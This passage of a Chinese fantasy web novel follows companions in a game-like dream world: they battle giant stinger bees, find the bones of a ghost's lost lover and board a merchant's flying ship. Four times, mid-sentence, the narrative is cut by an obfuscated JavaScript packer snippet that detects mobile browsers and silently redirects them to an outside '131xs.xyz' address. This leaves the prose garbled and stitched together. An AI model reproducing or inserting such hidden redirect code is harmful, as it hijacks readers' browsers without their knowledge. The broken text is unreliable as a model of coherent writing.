一对透明的,浅绿色的漂亮小翅膀从她肩胛骨处长了出来,翅膀肉眼可见地从柔软变得坚韧,扑扑闪闪快得只剩一道绿色的残影。 “翅膀!!俺飞起来了!阿烛小愁俺飞起来了!” 好了,这下真像喝醉的苍蝇了,人眼几乎无法捕捉风枫在树丛中横冲直撞的身影,只能看到纵横交错的绿色飞行弹道。 “我也想当精灵。”夏烛抬起头,痴痴地看着飞来飞去的风枫,几乎要流出羡慕的泪水。 “风小姐,如果可以的话请飞到树顶上看看是否能找到神奇树的踪影?”姬阴秀虚虚扶着腰间的轩辕剑,身姿挺拔,客客气气地询问风枫,可是红头发的小精灵刚刚还在头顶的树上,下一秒却又不见了踪影。 “噗——”她突然出现在姬阴秀身后,捂着嘴憋笑,“叫俺小枫就行啦!你好奇怪哦~”说完又嗖得一声冲出了树顶。 留下姬阴秀呆呆地站在原地。 夏烛发现他的耳廓在偷偷变红,掩在那头雪色的短发中格外的明显。 “找到了!”风枫的声音从头顶传来,然后整个人跌跌撞撞地摔倒了地面上,看来新翅膀的使用还不算熟练,她拍拍屁股站了起来,推开中途莫名其妙地挡在身前的嬴惑,朝夏烛和姬无愁跑过来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145972|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “俺看到了,在那边!”她手往身后一指,夏烛点点头,将一片绿叶从她头顶上摘下来。 由小枫领头,一行人朝着森林更深处行去。 “小乌鸦你怎么啦?”风枫忽然伸手摸上嬴犽的额头,“你总是往俺身上贴干嘛?” 夏烛也发现了,从小枫长出翅膀后,嬴犽就不再只是视线追随,而是不自觉地往她身边靠。 两个人闷头走在前方,风枫的小翅膀一张一合。 嬴犽悄悄地又往她身边挪了一寸,将头靠了过去,用极其小的声音说:“我也会飞。” 风枫眼睛一亮,往他背后看去,果然暗紫色的长袍下有些鼓鼓囊囊,似乎藏着什么东西。她笑眯眯地点了点头,既然嬴犽小心翼翼的,她当然也不会声张。鬼鬼祟祟的两人捂着嘴偷笑。 夏烛看着他们的背影,忍不住也勾起嘴角。 “哼。”很短促的一声冷笑。 “你怎么总是哼哼唧唧的?”夏烛皱眉。 “哼。”嬴惑继续冷笑。 一片落叶被风吹起,在半空中打了个圈,然后晃晃悠悠地贴地远去。 六个人无声无息地站在一棵和周围根本没有什么区别的大树面前。一块木牌歪歪斜斜地扎在旁边的土地里,上面写着三个大字”神奇树”。 “非常直观了朋友们。”风枫笑嘻嘻地说。 夏烛从袍子里取出羊皮卷,果不其然,那条写着“进入秘密森林找到神奇树。”的指引被红色横线划掉了,下方又多出了另一排小字。 “砍一些树枝试试看。” “怎么砍?”姬阴秀将手放在了轩辕剑上。 “No No No!”风枫一挥手,“让俺来。” 然后见她气宇轩昂地走近神奇树,摊开双手,气沉丹田。 “砍树——” “咔咔”一声,一块方方正正有棱有角的原切木材就从空气中掉落到她手心。 “砍树——” 又一块。 “砍树、砍树、砍树!” 五块木头整整齐齐地堆放在她手里。 风枫嘿嘿地转过头来,“都去试试吧各位~” 真是一个,方便的,声控世界。 收集完神奇树的木材,任务栏又发生了变化。 “手搓一根木杖试试看。” 夏烛低头端详着自己手里的木材,不知道该从哪里下手。 “手搓!乃是字面意思~”风枫老师言传身教,取出一根木头握在两手中间,开始钻木取火式搓起来。一阵不知道从哪里飘来的音效结束后,一根精致的小手杖就此诞生。 “当当当当!”风枫将手杖高高举起来,又是一阵不知道从哪里来的光芒从她背后迸出,将她的身影衬得无比伟岸。 于是剩下的五个人开始了疯狂原始人模式,嬴惑边搓着木杖边低声咒骂,夏烛却觉得无敌好玩,她开开心心地将自己的手杖晃到嬴惑面前炫耀,自己这根明显漂亮许多。 任务再次变化,居然让她们走出新手村,前往中土大河圣地。 夏烛猜测这根手杖估计另有作用。 正当众人准备原路返回,并顺便找找诺亚的时候,一种密密麻麻让人头皮发麻的嗡嗡声连成一张密网似的从森林深处快速靠近,地面的碎石不安地震动起来,压迫感铺天盖地,就连天光也暗了很多。 夏烛拔出腰间的小剑,感受到那股熟悉的冰凉,下意识侧出半个身位站在某人面前。 嬴惑忽然觉得手搓木杖就是一件伤害脑子的蠢事,否则他的头为什么隐隐发热。 81.勇气的长枪依旧向前(四) 密林中本就少阳光,现在更是一丝光线也看不到。所有的缝隙都被遮挡,体感温度也极速下降了许多。 夏烛觉得原本茂盛生机勃勃的树林忽然在感觉上变得空荡起来,似乎那些形态相似的大树都只是某种幻觉,他们根本就处在一片开阔的地带。 这就意味着敌暗我明。 六个人分散站位,保持警戒,那种嗡嗡的声音停在了四五米之外,就没有再继续靠近。这么短的距离按理说应该已经暴露在了视野里,可是夏烛往周围看去和之前没有任何区别。 她下意识地抬起头,忽然发现叶片与叶片之间的那一段阴影似乎变成了液态,正随着树叶的轻晃而缓缓地流动。 不对,她瞬间收紧了手上的力度,那不是光线遮挡形成的阴影,而是某种黑色的物质在闪动。 “小心!”站在斜前方的风枫忽然出声,紧接着以六人为中心升起圆形范围的藤蔓,藤蔓秒速生长,并在头顶聚集形成一个反扣起来的保护屏障。 可就在藤障成型的下一秒,一根银色的粗壮钢针轻易破开藤条从天而降,直直插进中央的空地里,深度可达半米。 而钢针本体就有一米之长。 “是针王蜂吗?”姬无愁瞬间抬手,一枚菱形冰锥从她掌心升起飞到藤障的破口处,迅速填补了缝隙,并以此为起点向八方蔓延出冰层,加固了保护罩。 与此同时那种让人牙酸的频振声也出现在了保护罩外面,伴随着无数钢针钉入冰层的刺耳噪音。 “冰层撑不了太久!得赶紧想想办法!”姬无愁边说边往头顶圆心点注入新的菱锥。 按照冰层外的频繁攻势,夏烛猜测外界的针王蜂群也许全都堆积在了保护罩附近,不管长着钢针还是别的什么,如果这些怪物还有蜂的特性,那么进攻还是追逐都是成群进行的。 她在这个梦中并没有像之前那样失去相力,也许能靠着极限的自愈能力吸引一波蜂群的火力,而其余人就能趁机从另一个破口逃离,只要拉开了和蜂群的距离就能进行反击。 不过那样就会在姬阴秀和嬴惑面前暴露自己的能力。 夏烛在大脑里快速思考着对策,既然姬阴秀已经选择加入队伍,嬴惑身上的秘密不见得比她少,治疗相力也没什么好遮掩的了。 她右脚往前迈了一步。 “我有办法。”却是嬴犽先开口说话。 “小乌鸦?你有什么办法?” 他深深望了风枫一眼,沙尘自脚底而气,被无形的风力托举成纱。他的斗篷被吹得猎猎作响,夏烛只觉得自己眼底最后的光线被尽数吸取,一对宽大的黑羽瞬间展开,微微抖动就能将六个人包裹其中。 “哇塞!!这么酷的吗!”风枫兴奋地大叫。 嬴犽只是微微低着头,过长的黑发遮住了他的双眼,只露出削尖的下巴和浅色的嘴唇,右翼扇动,所有绸缎似的黑色翎羽根部纷纷立起,在颤抖中从柔软的质地变成了坚硬的鳞甲状。 “哇靠!!”风枫回头看了一眼自己的小翅膀,“不公平!!” 针王蜂的体型比起普通蜜蜂大了不止百倍,各个如同一只饱满的西瓜,蜷起尾针,腹部肌肉拉扯,能将瘆人的钢针瞬间射出,而又一根全新的尾针会立刻出现在末端,经过短暂的冷却后,原本柔软的针体就会重新变得锋利,针王蜂会不间断的持续进攻,直到圆鼓的肚皮渐渐瘪下去。 保护罩正从内部消融,蜂群眼睁睁看着下方的空地上只剩下一个长着黑色尖刺的球体,就像一只卷起身体的巨型刺猬。 钢针扎到“刺猬”身上,火星四射,根本无法刺穿这层乌黑晶亮的甲胄。于是针王蜂的攻势逐渐止息,蜂群好奇地打量着这个突然出现的奇怪生物。 下一秒,巨大的翅膀瞬间展开,掀起狂风将一只只针王蜂吹得东倒西歪,阵型打乱,它们还没来得及调整身形,羽翼之下利剑一般冲出几道人影。 夏烛,和另外两人踩着风枫升起的藤柱破空而出,小剑寒芒一闪,针王蜂一分为二。 轩辕剑剑气如虹,冰刃挥出的寒气能瞬间将针王蜂冰冻。短短几分钟,蜂群落雨一样扑扑簌簌地掉到地面上。 一种水银质地的液体从开膛破肚的针王蜂体内缓缓流出。 眼见不敌对手,剩下的蜂群开始往同一个方向逃窜,三人对视了一眼,决定乘胜追击。 风枫望着她们飞身跃起的背影,收回了藤蔓,一脸欣慰地拍了拍嬴犽的肩膀,然后换上另一副究极鄙夷的表情斜睨着从头到尾都悠闲地站在一边的嬴惑。 “你就打算一直这么干站着吗?” 嬴惑挑起一边的眉毛,像是听到了什么天大的笑话。 “不然呢?我扔点金币出去收买它们?让这些蜂子高抬贵手行行好绕了我们,不如拿钱去村里消费消费好了?” “切!”风枫不齿再争,拉上嬴犽,“小乌鸦俺们走,去看看阿烛她们怎么样了。” 冷哼一声从嬴惑跟前经过,留下掷地有声的两个字。 “废、物。” 嬴惑勾起嘴角,冷冷地望着两人的背影,几秒后又漫不经心地跟了上去。 夏烛三人追着剩下的几只残兵败将深入森林腹地,周围的树木越来越稀疏,前方一片花田慢慢在眼前展开。 姬无愁轻身跃起如同一只飞燕,脚尖点在一旁的树干上借力凌空,在风中轻柔地旋身,数只弯月状的冰刃从她周身四散出去,击中了前方正在逃窜的针王蜂,然后悄然落地。 “不愧是濮阳姬家。”姬阴秀将轩辕剑收入剑鞘,他满脸欣赏地看着姬无愁,“就算是九天竞技赛中,我也从未见过如此收放自如的冰雪寒流。” 姬无愁微微回头,对上了姬阴秀的眼神。 “那你还是见得太少了。” 姬阴秀一怔,有些惭愧道:“也许是的。” “阿烛!”风枫追了上来一手一个圈住两人的后颈,“小愁!你们没事吧。” “哇塞!那是艾什么加什么花吗?”她从两人身上跳了下去,指着花田中央一朵散发出柔和红光的鲜花。 “啊,诺亚。”夏烛突然想起来薇诺娜的请求。 艾恩加尔比起周围的秀小花苞简直称得上巨物。 被波浪似得花海层层包围在原野中央,随着微风摇晃,抖落下霞色的光尘。几人穿过花田,走到了艾恩加尔花的旁边。 花朵确实柔美又圣洁,让人忍不住俯下身去闻一闻这样美丽的花会有如何的香气。 风枫刚把头凑了过去。 “欸?这是什么?”她弯下腰将手伸向花朵的根部。 夏烛也蹲了下来,轻轻拨开上方的艾恩加尔花,倾斜下阳光将底下的土壤暴露出来。 一块白色的凸起掩埋在泥土下,紧紧贴着花茎,风枫双手合作像小狗刨坑一样越挖越起劲。直到底下的东西逐渐显露,众人才意识到不对。 范围越来越大,白色的部分像山脊一样突出。 是一具人类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157150|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白骨。 风枫停了手,歪着脑袋将尸骨上上下下地打量。 “这是…诺亚吗?”她和夏烛站了起来,让围过来的众人都能看清白骨的全貌。 “不对啊?薇诺娜说诺亚也才离开了一天一夜而已,为什么就变成白骨堆了?难不成针王蜂还是食腐的?” 白骨整体呈现匍匐状,夏烛盯着那截五指张开即将靠近花朵的手骨。 “诺亚…”一阵轻唤从背后传来。 众人回头,金发少女立在花田之上,阳光似乎偏爱美人,细碎的金色光粒柔和地洒在她身上,让薇诺娜看起来像一阵暖风那样轻盈。她绿色的眼睛里涌出成串的泪水,像倾泻的湖泊,在细白的下巴尖上变成珍珠一颗颗滑落,最后隐入花田不见了踪影。整个人被阳光笼罩变得淡而透明。 “诺亚…”她奔跑起来,轻盈的身体真的像春风一阵,穿过了众人的身体。薇诺娜扑到白骨之上,精致的发髻松散开来,金线一般垂落,泪水一颗接着一颗滴进胸椎之间的草地里,腾起一阵薄雾。 “我想起来了…我全都想起来了…诺亚…一百年已经过去…我又再次见到了你…” 夏烛呆呆地看着薇诺娜的背影,旖旎的花苞穿过她透明的身体,在风中招摇。 * 一百年前的某个夜晚。 春风沉醉。 少女薇诺娜望着爱人离去的背影,握紧拳头,指关节发出骨头摩擦的声音。她毫不犹豫地转身,穿过夜藤飘摇的长廊,脚步不停地朝尽头那间藏宝室走去。白色的棉质裙摆扫在她透明的脚踝。 藏宝室里收藏着父亲最得意的珍品,她路过拳头大小的夜明珠,踢开挡道的砗磲宝塔,将防尘布从那耸起的轮廓之上一把掀开。 肩甲、臂鞲、胸铠,她把自己的身体挤进父亲的银铠甲中,感受到冰冷坚实的重量压在自己肩头上,汗湿的金发贴住她紧绷的下颌,可她目光灼灼,嘴唇抿起不屈的直线。 薇诺娜抽出腰间的宝剑,寒光闪过的剑端遥指月光下森林的方向。 她一步步走下金玉堆积的台阶,走出祖祖辈辈生活的石砌庄园,看着眼前大雾弥漫的黑色森林,一种前所未有的勇气积满她的胸膛。 不过是一朵鲜花而已。 她要亲手摘下。 她要向父亲证明,自己有足够的勇气和能力生存,决不只是依附一个男人。即使放开双手使她不蔽于高墙之下,也能在这个复杂的世界作为薇诺娜活下去。 她也要诺亚看到,这一颗闪闪发光的,爱他的心。 她像一位真正的骑士那样,背对着月光走进了森林。 故事并不如俗套的童话,奇迹不会偏袒任何一个普通的人,薇诺娜没有活着走出秘密森林,而诺亚在她之后,在晨光熹微的一个清早,也带着必死的决心走向了原野上的艾恩加尔花。 一步之遥,他就能带着鲜花回到爱人的身旁,告诉她自己已经想明白了,一定会长出坚实的臂膀,让每一个深爱着薇诺娜的人都能由衷地认可他。 变成了幽灵的薇诺娜在森林中醒来,如同一个初生的幼儿懵懵懂懂地飘回村口的铁匠铺,那是诺亚的家。 她忘掉了森林中的一切,记忆停留在了和爱人吵架的那一晚,苦苦等在檐下,向每一位过路的旅人祈求,如果见到那个勇敢的年轻人,请将他带回自己身边,无论生或者死。 无论生或者死。 灵魂也要相依。 一百年过去了... 82.勇气的长枪依旧向前(五) 薇诺娜的身体在辉光和晨露中化作了星尘,轻柔地洒进白骨陈列的草地里。 那段短暂的剧情在众人脑海中碎片般的闪过,不知道这个坚强美丽的金发少女会不会再次出现在铁匠铺门口,为下一位有缘人讲述她的故事。 “俺真要觉得这里不是一场梦,也不是游戏,而是真正发生的过的事了。”风枫怔怔地看着薇诺娜消失的那片花丛,她的双手还沾满泥土。 夏烛在心里轻轻附和,她着实想不通这场梦境是因何形成,现在出现的每一个人物和她们身上的故事,似乎都没有什么明确的指向。 而只是魉躲在某个角落,细细道来的某段传说。 薇诺娜的故事告一段落,几人打算回到新手村打听打听如何才能前往任务中提到的“中土大河圣地”。 夏烛从艾恩加尔花上收回视线,却发现还有一个人似乎有所不解地停在原地。他原本应该事不关己袖手旁观好比在欣赏一出好戏,但现在看来似乎陷入了思考,面对的是某个世纪难题。 她好奇地打量嬴惑,想从他皱起的眉头看出此刻在想些什么。却不想被赢惑察觉,面色不耐地瞪了回去。 “看什么看。”他烦躁地说,然后不再理夏烛转身离开了花田。 “好吧。”夏烛自我安慰,他看起来像一只被踩了尾巴炸毛的猫。 “这是什么!”风枫指着地上的一滩水银质地的液体大叫。 “好像是死掉的针王蜂剩下的东西。”姬无愁查看了一下周围,发现刚刚被消灭的针王蜂尸体全都不见了踪影,只剩下地上一滩滩不知名的液体。 夏烛听到她们的谈话,越过嬴惑好奇地奔到风枫身边。 “诶?”她蹲了下来,发现当自己与水银的距离进入某种范围之后,视野里就会出现一个标识漂浮在物体上方。 例如此刻显示:「蜂水银」 “俺知道了!”风枫再次伸出一只手,对着地上的不明液体大喊,“蜂水银!” ”叮叮——” 地上的银色液体消失不见,而风枫手心里多了一小袋类似牛皮或者某种特殊材质制作成的棕色小包。 小包的束口处还挂着一片银光闪闪的纤薄光片。 “这东西应该是可采集的!好玩好玩!”风枫边说边开始采集蜂水银。 夏烛也学着她的动作,却发现自己只能得到小小的一包,个头还比不上风枫的一半大小,像微缩道具。 “也许是因为小枫是精灵族的人,她的采集能力更好,效率更高。”姬无愁也试了一下,她收集起来的蜂水银和夏烛差不多。 于是不仅是花田旁边的蜂水银,就连神秘树周围的漏网之鱼统统成了风枫的囊中之物。 众人一路上又听着她不停叫路边小花小草的名字,势将所见的一切都收集起来的声音回到了村里。 姬无愁刚打算再去一趟星旅树台酒馆,向老板打听一下前往中土的方法,风枫便在一家面包房门外发现了一位行脚商,高价收购了她采集的所有蜂水银。 风枫笑眯眯地接过一大袋沉甸甸的金币,询问他如何才能去到神职者降临之地。 穿着黑色长袍,须眉交白面似靴皮的老头摸着自己的胡须,往风枫身后的几人看了一眼,缓缓开口:“不如这样吧,你将金币还给我,我载你们去中土大河圣地。” 风枫掂了掂金币的重量,又转过头和夏烛她们交换了个眼神,再将嬴惑从头扫到脚,这才回了商人的话。 “也不是不行,不过…”她瞅了一眼行脚商身后的小货箱,“你是有车还是有马,要怎么载人?” 老头慢悠悠地将摆出来的货物一一收进货箱,都是一些稀奇古怪的玩意,鸡爪似的绿色断手,流光溢彩的各色宝石。他费劲吧啦地背上货箱,指了指往郊外去的方向。 “走吧,跟我来就知道了。” 于是一群人又跟在老头身后,原路返回,走到小河边,停在了一块平坦广阔的绿草地上。 这会儿正是夕阳西下,烟霞四起,村里升起炊烟,郊外的旅人点燃了篝火,能听到一些欢歌笑语或者寂寥小调远远传来。 老头将货箱往地上一放,挥着手让众人后退一些。 “再退,再退,退到那棵树旁边。” “好了好了,就那了,让你们这群年轻人涨涨见识吧。”说罢他微微弯下本就有些佝偻的腰,捻起货箱底部露出来的一短截绳索,像是拉手榴弹那样一把抽出绳头。 货箱内部像是被塞进了一只鞭炮,噼里啪啦地响起来,甚至脱离了地心引力上蹿下跳,往外抖落出一些组织构架,木板啦,绳索啦,绸缎啦… 短短十秒,那些掉落出来的部件就以肉眼可见的速度重组起来,慢慢形成屏障将老头和货箱本体掩没其中。 丁零当啷再乒乒乓乓,惊飞一旁树上的鸟儿,河里的游鱼蹦出水面。一架造型独特的巨大飞船就出现在了众人面前,船头雕刻着一位身强力壮,目光灼灼的女人像。随着船身两侧展开宽薄的鹅肠飞翼,变形的动静终于停了下来。 六个人目瞪口呆地站在草坪上,面对这个精巧有趣的庞然大物。 “这也太全面了一些,设定如此之丰富,合理怀疑,此人就是魉!”风枫抹了一把嘴角的口水。 姬无愁和夏烛默默点头。 一阵嘎吱的开门声从船头传来,身材矮小的老头出现在了视野里。 他步履蹒跚地行至女人雕像旁,轻轻抚上她被夕阳笼罩的面容,潸潸然轻轻抽泣,眼神看向远山处美妙的落日。 “这是我的母亲…西海最有名的海盗首领,从恶人手下劫富济贫,大海广阔遨游了一生,仅留下这艘飞船给我…她是世界上最伟大的女人…英武勇敢…” 老头的视线忽然扫过船头下的观众,立马收起悲伤的表情意识到自己有些失态。 “咳咳咳…好了如你们所见,不是车也不是马,各位,要上船吗?” 六人齐齐点头。 老头放下长梯,风枫兴冲冲地第一个爬了上去。 “欸,等等!”老头守在梯子边,朝风枫摊开手。 “给你给你!”她从怀里揪出那袋金币扔给精明的商人。他这才满意地让出了通道。 甲板上登高望远,小小的村庄笼在金红的霞光中,疏淡的云彩下面砌红堆绿,梦中的世界才过了一天,夏烛却有种要离开家乡的错觉。 商人老头的飞船五脏俱全,船舱内就是一个生活了几十年的温馨小家,挂着碎花布帘的厨房餐厅,卧室露台,甚至洗衣房,这些都跟夏烛她们没什么关系。 老头让六人挤在船舱顶的阁楼里,说他的宝船日行千里,明日此时,就能达到中土,所以没必要特地为匆匆过客收拾房间,提供多便捷的生活。 晚饭倒是可以多准备几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163608|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份,不过前提是她们能付得起这个钱。 “1、2、3…一共六份晚餐,得这个数。”他张开五指在几人面前比划。 “5个金币?” 老头摇摇头,“50个金币。” “你抢钱啊!”风枫险些跳起来,星旅树台一顿饱饭都只要3个金币,这个奸商居然狮子大开口敢要她们50个! 忽然她想到了什么,瞬间冷静下来,和颜悦色地拍了拍老头的肩膀,然后大手一挥,装作无力争辩的样子。 “算了,给他吧。” 然后五个人再次齐齐看向嬴惑。 他咬牙冷笑,眼神只落在夏烛的脸上,“好啊,这是我的作用不是吗?” 夏烛赶紧偏头仰望天空说哇好优美的风景。 * 舱顶的空间虽然狭小,也不能让人站起身,高度堪堪是坐着不碰到头。但是风景却是甚好,两侧的木窗推开,当飞船上升了高度,流云都会钻进来。 风枫和嬴犽去甲板上看开船了,姬阴兮盘腿在角落里打坐,轩辕剑横放在膝盖上,这是他每天例行的修炼,听说是应龙教给他的,有助于经脉疏通,气息顺畅。 夏烛也学着他的样子坐在地上,可是不懂什么心法口诀,一闭上眼就要睡着,昏昏沉沉脑袋一点一点。 “你这一套倒是比姬家那位有效,直接神游天外会神仙去了。” 嬴惑忽然开口,夏烛直接惊醒,她捏捏后颈,觉得这样睡果然不舒服。姬无愁朝两人这边淡淡抬了下眼皮,声音泠泠地开口:“睡觉休息本来就是很好的修行,阿烛没有做错。” 这个队伍里嬴惑几乎是独立在外的,原本只要他不开口,其余人还能忍受一下,奈何他这张嘴是淬了毒的。 “哦?是吗?”嬴惑拉长声音看向另一边的姬无愁,“啊,我知道了,这么说也没问题,毕竟是濮阳百年来最优秀的冰雪寒流,对于武道的感悟肯定是比某些残体更深的。” 夏烛有些惊讶,她还不知道姬无愁这么的厉害,能被家族称最,可是他又是怎么知道的呢?难不成他们从前就认识? 如果姬无愁真的是濮阳的天纵之才,为什么会被族人排挤至此,她忽然想起竞技场上听到过的风言风语。 夏烛悄悄往那边看了一眼,发现姬无愁面色苍白,低垂着眼睛没有想要反驳的意思。 “只不过你好像一直在隐藏自己的实力呢,让我想一想,那一招叫什么来着?”可是嬴惑仍旧不依不饶,他懒散地靠在窗边,夕阳下的面容多了一些诡谲的艳色,让他整个人看起来像一朵藏在夜色里,会吃人的花,“想起来了,千里…” “你到底是谁!”姬无愁的身影比她的声音更快来到嬴惑身边,手里一只弯月状的冰刃横亘在他喉间。 “我是谁?我当然是嬴惑啊,一个来历不明的残体而已。”他眼中根本毫无惧色,头微微后仰抵在了窗沿上,云风吹乱他的头发,嘴角的弧度拉扯变大,灰色的眼睛因为笑意而眯了起来。夏烛呆呆地盯着他的脸,漂亮艳丽,却又恶毒至极。 他说的任何一句话都是故意为之,当看见别人因为自己而愤怒失控,嬴惑反而乐在其中,毕竟只有这种时候,所有人的视线才能集中在他。 冰刃往他皮肤上推进一分,那只手却开始颤抖。 “小愁。” 夏烛开口,将自己的手轻轻覆盖在她之上。 83.勇气的长枪依旧向前(六) 姬无愁抬眼对上夏烛的眼睛,一阵凉风从窗外吹进来,她睫毛颤了颤,瞳孔闪烁看向夏烛的身后。 去甲板上逛了一圈的风枫和嬴犽回来了,剑拔弩张的弓弦骤然松掉。 “要俺说,这个老头肯定就是魉!”风枫边说边往船舱内爬,“以前哪里见过设定这么丰富的NPC?” “不过要真是这个老头,他的执念又是什么呢?” “当海盗?不至于吧…” “做大生意当有钱人?那为什么非得是游戏世界呢?” 她自己左右脑互搏,逮着抠搜老头一顿分析。 姬无愁趁机回到了自己的位置上,将羊皮卷拿在手里细细地看,只是她神情恍恍惚惚,不知道是不是真的在看。 “如果魉不是这个商人的话,那梦境会不会太过用心了些…感觉它只是在建立一个理想世界,所以哪怕一个小小的角色背后,也有完整的故事线?”夏烛说着自己的想法。 “我比较赞同这个观点。”姬阴秀结束了打坐睁开了眼,“理想世界?如果真是这样,恐怕这个梦境的难度就只会比表面看起来还要高。只是我实在想不明白,为什么你和小枫没有支线任务,这会不会是某种暗示呢?” “难道是精灵族和神职者的特性?如果是按地域区分的话。”风枫说。 “咚咚咚——”顶舱的滑门外传来商人老头的询问,木质的门在轨道上滑行发出咕噜咕噜的声音。 “客人,我来给你们送晚餐。”老头跪坐在地板上,将身后的大托盘挪到顶舱内,六个餐盘中摆着相同的培根煎蛋,以及绿油油的芦笋,外加六杯普通的冰柠檬水。 他从肩膀上抽下一张粉色花边的桌垫,铺在地板上,再将刀叉一一分好,最后把托盘收起夹在腋下。 风枫膝行到餐垫旁边,刚拿起一把叉子就发现老头仍旧跪坐在门口没有要离开的意思。 “你还有什么事吗?钱俺们刚刚已经付过了。” 老头胡子一抖眯着眼睛笑起来。 “鄙人只是一位游历四方的行脚商人,不过是继承母亲的遗志,周游世界。应该不是你们要找的人。不过在我们海上有这样一个传说,如果心中有所疑问,不妨问问天上的星星。” 他伸出一根手指,指向头顶的天花板。 “星星?” “没错,汪洋大海无边无际,就算是再有经验的水手也难免迷失方向,别人说的话不能轻信,有时候连自己也会欺骗自己,只有宇宙星辰能告诉我们正确的方向。”他说着慢腾腾地挪到了墙角,那里有一根从天花板上垂下来的绳索。 老头笑眯眯地拉动吊绳,头顶的天花板居然缓缓出现了一扇天窗。 只是现在太阳刚刚落山,云天还是蓝蔚蔚的亮着,不见一颗星子。 “各位不妨带着心中的疑问看看夜空,如果出现一颗闪亮无比的星星,那就是它在回应你。” “你们所在的这间顶舱从前也待过一位迷茫的少年人,不过我猜,他现在已经得到了星星的指引在成为勇者的道路上一去不返了。” “好了,祝各位拥有美好的一晚,我也该去享用自己的晚餐了,回见。”老头说完就带着托盘下了楼,留下风枫和夏烛呆呆地望着天窗。 “这个老头真奇怪?”夏烛忍不住开口。 “哪里奇怪了?” “他说的话模棱两可,星星的回应是对问题的肯定还是否定呢?如果我们的问题是去哪里才能找到魉,可是星星闪烁之后,还是没有答案。” “哎呀呀,事已至此还是先吃饭吧!”风枫揉揉夏烛的脑袋,叫她不要听信老头的话,说不定就是存心逗他们开心。 可是几个人沉默着吃完晚饭后,还是躺在了天窗下,想看看夜晚的星空到底会不会出现那一颗独一无二的。 只有赢惑不屑参与这场幼稚的问答游戏,他从不诘问天上的一切,不论是星辰还是神明。 当飞船上升至云层顶上,晴朗的夜空出现在四四方方的天窗中,为了更好的观察星星,顶舱内没有拉亮电灯。月光被切割成一块有棱有角的薄纱将地上几人框在其中。 夏烛觉得头顶的星空和往常没有什么区别,细细碎碎地洒满了天幕。她实在没有想要问的东西,也不相信星星真的会给她答案。 夜风吹动她额前的头发,偶尔会有流云从上方拂过,偶尔会听到身边的风枫在黑暗中不安分地扭动,夏烛的眨眼频率开始变得缓慢,一直盯着某个地方,视觉会产生疲劳,她有一种星空在眼前不断放大的错觉,带着浩瀚无垠的气势似乎要将她吞噬。 不知道过了多久,她想问一问风枫有没有看见那颗特殊的星星,转过头去却发现她早就睡着,面容恬静呼吸绵长。 夏烛忍不住勾起嘴角,有时候面对风枫她不得不产生羡慕的感情,很多人总觉得风家的天才少女是个心思单纯没头脑的人,可她反而认为风枫什么都懂,什么都明白,就是将一切都看得太通透,所以才能活得这么开心。 可她将视线放到一边,却看到剩下的三人依然在怔怔地盯着夜空,他们神情认真,瞳光闪烁,仿佛真有一颗无比闪亮,独一无二的星星在天窗中回应。 夏烛将头摆正,星夜寂寥,玉宇澄清,她好像有些明白那个老头的意思了。面对着只会闪烁而不会多言的星星,问出心中疑问的同时,其实就已经有了答案。 就像她从前会抛硬币做抉择,但如果落地的那一秒内心反而产生了某种失落感,那就说明其实她更想选择的是另外一面,答案早就产生了,只是自己意识不到。 当他们带着问题仰望夜空的时候,一定会看见所期待的那一颗星。 所以是什么样的问题呢? 她的视线渐渐模糊,夜空铺就成一张轻柔的天鹅绒毯,缓缓覆盖在双眼上。 * 夏烛是被日头给晒醒的,昨天晚上开着天窗睡着了,高空上的太阳更是灼热,晃到她睁不开眼,胸口闷闷的迷迷糊糊中还以为已经落魄到上街卖艺胸口碎大石了,结果是风枫睡得四仰八叉趴在她身上。 她抬起手臂挡在脸上方,等到眼睛适应了光线,才偏过头去。嬴惑还坐在窗边,眼光刺眼看不清他的脸,夏烛盯着他头顶翘起的发丝发呆,意识逐渐涣散,眼皮又变得沉重起来。 “看够了吗?” 他突然出声,夏烛的瞳孔不自觉地放大。 “还没。”她居然把话接了过去。 “没关系,可以慢慢看。”他往前倾身,一张脸在夏烛面前不断放大清晰,视觉冲击力太强烈,吓得她一个鲤鱼打挺,再次用铁头功将嬴惑撞开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 